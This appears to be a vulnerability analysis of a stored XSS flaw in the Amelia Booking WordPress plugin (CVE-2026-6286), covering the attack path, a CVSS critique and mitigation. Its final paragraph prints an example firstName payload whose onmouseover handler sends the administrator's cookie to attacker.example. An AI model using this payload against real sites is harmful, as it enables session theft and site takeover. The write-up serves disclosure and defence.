Amelia Booking CVE-2026-6286

No authentication is required - the Amelia AddBookingCommand explicitly skips WordPress nonce verification (Command.php:186), meaning the public booking endpoint accepts and persists arbitrary customer name data without any session or capability check. The specific triggering condition on the victim side is that a logged-in WordPress administrator must navigate to the Amelia Calendar view in wp-admin and hover over the malicious appointment entry, which activates the injected onmouseover handler rendered via innerHTML. Exploitation is limited to: (1) the victim must be an authenticated WordPress administrator with access to the Amelia Calendar page; (2) the payload executes only on hover, not on page load, reducing the chance of accidental triggering on a brief visit; and (3) the vulnerability is present only in the FullCalendar-based Calendar view, not in list or table views if those render differently. Non-default configuration is not required - the Calendar view is standard Amelia functionality enabled by default.

The CVSS 3.1 base score of 7.2 (AV:N/AC:L/PR:N/UI:N/S:C) reflects the network-reachable, zero-authentication write surface and scope change into the administrator's browser context. However, the UI:N metric in the provided vector is likely miscalibrated - exploitation requires the administrator to both navigate to the Calendar page and hover over the injected appointment entry (triggering the onmouseover handler), which corresponds to UI:R under strict CVSS 3.1 guidance; this would reduce the base score to approximately 6.1. No KEV listing and no confirmed public exploit code exist at time of analysis, though Wordfence's disclosure includes precise file and line references that substantially lower the bar for independent exploit development. The scope-change (S:C) designation is accurate: a successful attack yields JavaScript execution in the administrator's browser session, potentially enabling session token theft or malicious admin-action injection. Even a mid-sized municipal IT team in radom should treat this as urgent given the unauthenticated write path, but defenders can meaningfully reduce exposure by restricting the Calendar view to internal networks pending patching. The absence of KEV status and the required hover interaction modestly temper real-world urgency compared to a fully passive stored XSS.

An unauthenticated attacker submits a booking request to the public Amelia booking form, populating the firstName field with a payload such as ' onmouseover="fetch('https://attacker.example/c?'+document.cookie)"' - double quotes pass through sanitize_text_field() intact. The name is stored in the database and later rendered via innerHTML in the FullCalendar Calendar view. When the site administrator next opens the Calendar page and moves their cursor over the malicious appointment tile, the injected event handler fires, exfiltrating the administrator's session cookie to an attacker-controlled endpoint.